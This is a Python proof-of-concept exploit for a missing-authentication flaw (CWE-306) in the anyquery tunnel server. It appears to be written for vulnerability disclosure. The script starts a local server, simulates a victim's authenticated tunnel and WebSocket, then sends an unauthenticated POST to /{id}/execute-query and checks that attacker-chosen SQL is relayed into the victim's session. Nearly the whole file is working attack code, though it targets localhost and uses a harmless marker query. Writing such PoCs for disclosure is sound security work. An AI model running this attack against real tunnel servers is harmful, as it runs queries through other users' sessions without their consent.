#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Remote Query Execution via GPT Tunnel API
Repository: julien040/anyquery  (commit 981f706)
CWE-306: Missing Authentication for Critical Function
CVSSv3.1: 8.9 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

Root cause (server.go:149):
    gptRouter registers POST /{id}/execute-query with NO authentication middleware.

Vulnerable handler (controller.go:126-151):
    executeQueryAPI reads id + body.Query and calls s.executeQuery() with zero
    Authorization checks. Contrast with websocket.go:44-74 where the victim's
    WebSocket upgrade DOES validate the Bearer token — the auth guard only
    protects the victim-side connection, not the attacker-facing HTTP endpoint.

Data flow proven here:
    HTTP POST /{id}/execute-query (no Auth)
      -> controller.go:143  s.executeQuery(id, body.Query)
      -> websocket.go:267   session.Write(serialized request)
      -> victim WebSocket receives {"method":"execute-query","args":["<SQL>"]}
      -> server relays victim response back to HTTP caller (HTTP 200)

Expected secure behaviour: HTTP 401 Unauthorized.
Actual observed behaviour:  HTTP 200 with attacker SQL forwarded to victim session.
"""

import json
import subprocess
import sys
import threading
import time

import requests
import websocket  # websocket-client package

SERVER_ADDR = "127.0.0.1:5566"
BASE_URL = f"http://{SERVER_ADDR}"
WS_BASE = f"ws://{SERVER_ADDR}"

# Victim credentials — only the victim knows these
VICTIM_TOKEN = "poc-victim-secret-token-xyz"

# Attacker-controlled SQL — the attacker does NOT know the victim token
ATTACKER_SQL = "SELECT 'attacker_was_here' AS injected, 1337 AS pwned"


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait_for_server(timeout: int = 15) -> bool:
    """Poll /ping until the tunnel server is accepting connections."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(f"{BASE_URL}/ping", timeout=1)
            if r.status_code == 200:
                return True
        except Exception:
            pass
        time.sleep(0.25)
    return False


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
    print("=" * 64)
    print("VULN-001 PoC: Unauthenticated GPT Tunnel execute-query")
    print("CWE-306 | anyquery websocket_tunnel server")
    print("=" * 64)

    # ------------------------------------------------------------------
    # Step 1: Start the tunnel server (built from cloned repo source)
    # ------------------------------------------------------------------
    print("\n[1] Starting anyquery tunnel server ...")
    server = subprocess.Popen(
        ["tunnel-server", "-w", "-a", SERVER_ADDR, "-d", "/tmp/poc.db"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
    )

    if not wait_for_server():
        stderr_out = server.stderr.read()
        print(f"[!] Server failed to start:\n{stderr_out.decode(errors='replace')}")
        server.terminate()
        return 1
    print(f"    Server ready at {SERVER_ADDR}")

    # ------------------------------------------------------------------
    # Step 2: Victim creates a tunnel (victim_token is their secret)
    # POST /tunnel/new with Host: tunnel.anyquery.xyz
    # ------------------------------------------------------------------
    print("\n[2] Victim registers a tunnel (POST /tunnel/new) ...")
    resp = requests.post(
        f"{BASE_URL}/tunnel/new",
        headers={
            "Host": "tunnel.anyquery.xyz",
            "Authorization": VICTIM_TOKEN,
        },
    )
    if resp.status_code != 200:
        print(f"[!] Failed to create tunnel: {resp.text}")
        server.terminate()
        return 1

    tunnel_id = resp.json()["id"]
    print(f"    Tunnel ID: {tunnel_id}  (only victim knows this + the token)")

    # ------------------------------------------------------------------
    # Step 3: Victim connects their WebSocket (simulates 'anyquery gpt')
    # Authentication IS required here (websocket.go:44-74)
    # ------------------------------------------------------------------
    print("\n[3] Victim connects WebSocket to /websocket-anyquery ...")
    victim_ws = websocket.WebSocket()
    victim_ws.connect(
        f"{WS_BASE}/websocket-anyquery?tunnel_id={tunnel_id}",
        header=[f"Authorization: Bearer {VICTIM_TOKEN}"],
    )
    print("    Victim WebSocket authenticated and connected.")

    victim_queries: list = []

    def victim_loop():
        """Simulate the local anyquery client processing execute-query messages."""
        while True:
            try:
                raw = victim_ws.recv()
                if not raw:
                    break
                req = json.loads(raw)
                method = req.get("method", "")
                args = req.get("args", [])
                request_id = req.get("request_id", "")
                victim_queries.append({"method": method, "args": args})
                print(f"    [VICTIM recv] method={method!r}  args={args!r}")
                # Victim client responds (controller/llm.go:311-322 analogue)
                victim_ws.send(json.dumps({
                    "request_id": request_id,
                    "result": f"victim_result_for: {args[0] if args else ''}",
                    "error": "",
                }))
            except Exception as exc:
                print(f"    [VICTIM] connection closed: {exc}")
                break

    threading.Thread(target=victim_loop, daemon=True).start()
    time.sleep(0.3)  # Allow victim thread to enter recv()

    # ------------------------------------------------------------------
    # Step 4: ATTACKER sends unauthenticated POST /{id}/execute-query
    # No Authorization header — this is the vulnerability being proved.
    # Host: gpt.anyquery.xyz routes to gptRouter (server.go:149)
    # ------------------------------------------------------------------
    print("\n[4] ATTACKER sends unauthenticated execute-query ...")
    print(f"    URL  : POST {BASE_URL}/{tunnel_id}/execute-query")
    print(f"    Host : gpt.anyquery.xyz")
    print(f"    Auth : (none)")
    print(f"    SQL  : {ATTACKER_SQL}")

    try:
        atk = requests.post(
            f"{BASE_URL}/{tunnel_id}/execute-query",
            headers={
                "Host": "gpt.anyquery.xyz",
                "Content-Type": "application/json",
                # *** Deliberately NO Authorization header ***
            },
            json={"query": ATTACKER_SQL},
            timeout=15,
        )
    except requests.Timeout:
        print("[!] Request timed out — victim WebSocket may not be responding.")
        server.terminate()
        return 1

    print(f"\n[5] Attacker received HTTP {atk.status_code}")
    print(f"    Body: {atk.text.strip()!r}")

    # Allow victim thread to record the message
    time.sleep(0.2)

    # ------------------------------------------------------------------
    # Evaluate
    # ------------------------------------------------------------------
    print("\n" + "=" * 64)

    victim_got_sql = (
        len(victim_queries) > 0
        and len(victim_queries[0].get("args", [])) > 0
        and victim_queries[0]["args"][0] == ATTACKER_SQL
    )

    if atk.status_code == 200 and victim_got_sql:
        print("RESULT: PASS — VULNERABILITY CONFIRMED")
        print(f"  * POST /{tunnel_id}/execute-query returned HTTP 200 with NO auth header")
        print(f"  * Victim received execute-query: {victim_queries[0]['args'][0]!r}")
        print(f"  * Attacker received response   : {atk.text.strip()!r}")
        print()
        print("  Expected: HTTP 401 Unauthorized (missing auth guard)")
        print("  Actual  : HTTP 200 — attacker SQL forwarded through victim session")
        print()
        print("  Vulnerable code path:")
        print("    server.go:149          gptRouter registers /{id}/execute-query (no auth middleware)")
        print("    controller.go:126-143  executeQueryAPI calls s.executeQuery() with no auth check")
        print("    websocket.go:255-267   query written to victim WebSocket session")
        server.terminate()
        return 0

    elif atk.status_code == 401:
        print("RESULT: FAIL — Server returned 401 (vulnerability may already be patched)")
        server.terminate()
        return 1

    elif atk.status_code == 200 and not victim_got_sql:
        print(f"RESULT: INCOMPLETE — HTTP 200 but victim did not receive SQL as expected")
        print(f"  victim_queries = {victim_queries}")
        print(f"  attacker body  = {atk.text!r}")
        server.terminate()
        return 1

    else:
        print(f"RESULT: INCOMPLETE — Unexpected HTTP {atk.status_code}")
        print(f"  Body          : {atk.text!r}")
        print(f"  victim_queries: {victim_queries}")
        server.terminate()
        return 1


if __name__ == "__main__":
    sys.exit(main())